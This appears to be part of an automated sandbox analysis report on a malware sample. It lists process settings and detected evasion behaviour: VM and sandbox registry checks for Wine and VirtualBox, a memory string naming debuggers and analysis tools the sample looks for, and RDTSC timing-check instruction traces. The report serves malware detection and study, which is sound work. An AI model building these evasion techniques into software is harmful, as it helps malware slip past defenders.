Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Windows\SysWOW64\svchost.exe

Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep			graph_6-36521
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_2-9865

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe

System information queried: FirmwareTableInformation

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	API/Special instruction interceptor: Address: 7FF8C88ED044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FF8C88ED044

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp, 09c0b8253b.exe, 0000002C.00000002.3260044463.0000000000A5C000.00000004.00000001.01000000.00000015.sdmp, 09c0b8253b.exe, 0000002C.00000002.3266762594.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp, 09c0b8253b.exe, 0000002C.00000002.3260044463.0000000000A5C000.00000004.00000001.01000000.00000015.sdmp, 09c0b8253b.exe, 0000002C.00000002.3266762594.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE
Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EAED second address: B5EAF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8E90 second address: CD8EA7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F47E55EA442h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9278 second address: CD927F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBCC8 second address: CDBCF5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F47E55EA436h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F47E55EA448h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 jng 00007F47E55EA43Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBCF5 second address: CDBD45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F47E4F46FA8h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jo 00007F47E4F46FBBh 0x00000017 pushad 0x00000018 jmp 00007F47E4F46FB1h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 mov eax, dword ptr [eax] 0x00000022 pushad 0x00000023 jmp 00007F47E4F46FB2h 0x00000028 push ebx 0x00000029 pushad 0x0000002a popad 0x0000002b pop ebx 0x0000002c popad 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push edi 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 pop edi 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBD45 second address: CDBD4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F47E55EA436h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBD4F second address: B5EAED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c mov edi, dword ptr [ebp+122D3875h] 0x00000012 push dword ptr [ebp+122D1259h] 0x00000018 add esi, dword ptr [ebp+122D397Dh] 0x0000001e call dword ptr [ebp+122D2291h] 0x00000024 pushad 0x00000025 js 00007F47E4F46FA7h 0x0000002b cld 0x0000002c xor eax, eax 0x0000002e or dword ptr [ebp+122D1D6Eh], ebx 0x00000034 mov edx, dword ptr [esp+28h] 0x00000038 jmp 00007F47E4F46FB9h 0x0000003d sub dword ptr [ebp+122D224Eh], esi 0x00000043 mov dword ptr [ebp+122D3879h], eax 0x00000049 jnc 00007F47E4F46FA7h 0x0000004f mov esi, 0000003Ch 0x00000054 cmc 0x00000055 add esi, dword ptr [esp+24h] 0x00000059 cmc 0x0000005a lodsw 0x0000005c pushad 0x0000005d sub dword ptr [ebp+122D1D6Eh], ebx 0x00000063 mov edi, dword ptr [ebp+122D3A39h] 0x00000069 popad 0x0000006a add eax, dword ptr [esp+24h] 0x0000006e jmp 00007F47E4F46FAEh 0x00000073 mov ebx, dword ptr [esp+24h] 0x00000077 cld 0x00000078 push eax 0x00000079 push edi 0x0000007a push eax 0x0000007b push edx 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBF63 second address: CDBF76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F47E55EA43Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBF76 second address: CDBF7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC3CA second address: CFC3D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFA38F second address: CFA3A9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F47E4F46FA6h 0x00000008 jmp 00007F47E4F46FB0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFA3A9 second address: CFA3AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFAA89 second address: CFAA8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFAA8F second address: CFAA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFAEBE second address: CFAEC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFAEC6 second address: CFAED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F47E55EA436h 0x0000000a popad 0x0000000b jns 00007F47E55EA438h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFB022 second address: CFB026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFB026 second address: CFB02A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFB3A1 second address: CFB3A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE09A second address: CCE0A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F47E55EA436h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE0A7 second address: CCE0AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFB607 second address: CFB621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F47E55EA445h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFBBC7 second address: CFBBD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jns 00007F47E4F46FA6h 0x0000000c pop edi 0x0000000d push ebx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFBEA7 second address: CFBEAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFBEAB second address: CFBEB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01470 second address: D0149E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F47E55EA438h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F47E55EA43Fh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 jmp 00007F47E55EA43Ah 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0149E second address: D014C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F47E4F46FABh 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 pushad 0x00000013 jl 00007F47E4F46FA6h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFFC92 second address: CFFC98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFFC98 second address: CFFCB3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F47E4F46FA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007F47E4F46FACh 0x00000015 jbe 00007F47E4F46FA6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06740 second address: D06744 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D068F6 second address: D06910 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47E4F46FB6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06A99 second address: D06A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06F16 second address: D06F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07079 second address: D070A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F47E55EA447h 0x0000000e push eax 0x0000000f pop eax 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A87B second address: D0A87F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A87F second address: D0A894 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F47E55EA43Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0ABA0 second address: D0ABA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
